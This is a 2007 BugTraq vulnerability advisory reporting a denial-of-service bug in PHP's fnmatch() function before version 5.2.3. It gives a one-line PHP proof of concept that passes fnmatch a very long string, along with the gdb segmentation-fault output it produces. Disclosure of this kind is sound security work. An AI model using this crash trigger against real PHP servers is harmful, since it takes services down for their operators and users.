BugTraq
PHP < 5.2.3 fnmatch() denial of service Sep 04 2007 09:19PM
laurent gaffie gmail com
Application: PHP < 5.2.3
Web Site: http://php.net
Platform: unix
Bug: denial of service
fonction: fnmatch()
special condition: default php-memory-limit
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1) Introduction
2) Bug
3) Proof of concept
4) Greets
5) Credits
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1) Introduction
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"PHP is a widely-used general-purpose scripting language that
is especially suited for Web development and can be embedded into HTML."

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2) Bug
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fnmatch() is vulnerable to a denial of service

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3)Proof of concept
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Proof of concept example :
<?
fnmatch("*[1]e", str_repeat("A", 9638013));
?>

result:
(gdb) run 2.php
Program received signal SIGSEGV, Segmentation fault.
[Switching to Thread -1215469888 (LWP 11079)]
0xb7970d99 in fnmatch () from /lib/tls/i686/cmov/libc.so.6

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4)Greets
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Ivanlef0u,Deimos,benji,soh,and everyones on worldnet: #futurezone & #nibbles

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5)Credits
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Laurent gaffie
contact : laurent.gaffie (at) gmail (dot) com [email concealed]
stay tuned, site comming soon ....

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